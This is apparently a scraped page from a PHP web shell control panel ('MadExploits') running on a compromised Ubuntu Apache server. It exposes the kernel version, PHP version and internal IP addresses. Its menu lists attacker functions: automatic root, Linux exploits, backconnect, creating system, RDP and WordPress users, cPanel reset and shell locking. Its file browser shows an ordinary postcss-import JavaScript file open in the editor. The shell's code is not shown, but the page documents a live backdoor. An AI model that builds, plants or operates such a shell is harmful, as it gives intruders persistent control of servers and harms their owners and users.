Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
cqt /
node_modules /
postcss-import /
lib /
[ HOME SHELL ]
Name
Size
Permission
Action
assign-layer-names.js
466
B
-rw-r--r--
data-url.js
296
B
-rw-r--r--
join-layer.js
303
B
-rw-r--r--
join-media.js
872
B
-rw-r--r--
load-content.js
242
B
-rw-r--r--
parse-statements.js
3.68
KB
-rw-r--r--
process-content.js
1.3
KB
-rw-r--r--
resolve-id.js
1.01
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : parse-statements.js
"use strict" // external tooling const valueParser = require("postcss-value-parser") // extended tooling const { stringify } = valueParser function split(params, start) { const list = [] const last = params.reduce((item, node, index) => { if (index < start) return "" if (node.type === "div" && node.value === ",") { list.push(item) return "" } return item + stringify(node) }, "") list.push(last) return list } module.exports = function (result, styles) { const statements = [] let nodes = [] styles.each(node => { let stmt if (node.type === "atrule") { if (node.name === "import") stmt = parseImport(result, node) else if (node.name === "media") stmt = parseMedia(result, node) else if (node.name === "charset") stmt = parseCharset(result, node) } if (stmt) { if (nodes.length) { statements.push({ type: "nodes", nodes, media: [], layer: [], }) nodes = [] } statements.push(stmt) } else nodes.push(node) }) if (nodes.length) { statements.push({ type: "nodes", nodes, media: [], layer: [], }) } return statements } function parseMedia(result, atRule) { const params = valueParser(atRule.params).nodes return { type: "media", node: atRule, media: split(params, 0), layer: [], } } function parseCharset(result, atRule) { if (atRule.prev()) { return result.warn("@charset must precede all other statements", { node: atRule, }) } return { type: "charset", node: atRule, media: [], layer: [], } } function parseImport(result, atRule) { let prev = atRule.prev() if (prev) { do { if ( prev.type !== "comment" && (prev.type !== "atrule" || (prev.name !== "import" && prev.name !== "charset" && !(prev.name === "layer" && !prev.nodes))) ) { return result.warn( "@import must precede all other statements (besides @charset or empty @layer)", { node: atRule } ) } prev = prev.prev() } while (prev) } if (atRule.nodes) { return result.warn( "It looks like you didn't end your @import statement correctly. " + "Child nodes are attached to it.", { node: atRule } ) } const params = valueParser(atRule.params).nodes const stmt = { type: "import", node: atRule, media: [], layer: [], } // prettier-ignore if ( !params.length || ( params[0].type !== "string" || !params[0].value ) && ( params[0].type !== "function" || params[0].value !== "url" || !params[0].nodes.length || !params[0].nodes[0].value ) ) { return result.warn(`Unable to find uri in '${ atRule.toString() }'`, { node: atRule, }) } if (params[0].type === "string") stmt.uri = params[0].value else stmt.uri = params[0].nodes[0].value stmt.fullUri = stringify(params[0]) let remainder = params if (remainder.length > 2) { if ( (remainder[2].type === "word" || remainder[2].type === "function") && remainder[2].value === "layer" ) { if (remainder[1].type !== "space") { return result.warn("Invalid import layer statement", { node: atRule }) } if (remainder[2].nodes) { stmt.layer = [stringify(remainder[2].nodes)] } else { stmt.layer = [""] } remainder = remainder.slice(2) } } if (remainder.length > 2) { if (remainder[1].type !== "space") { return result.warn("Invalid import media statement", { node: atRule }) } stmt.media = split(remainder, 2) } return stmt }
Close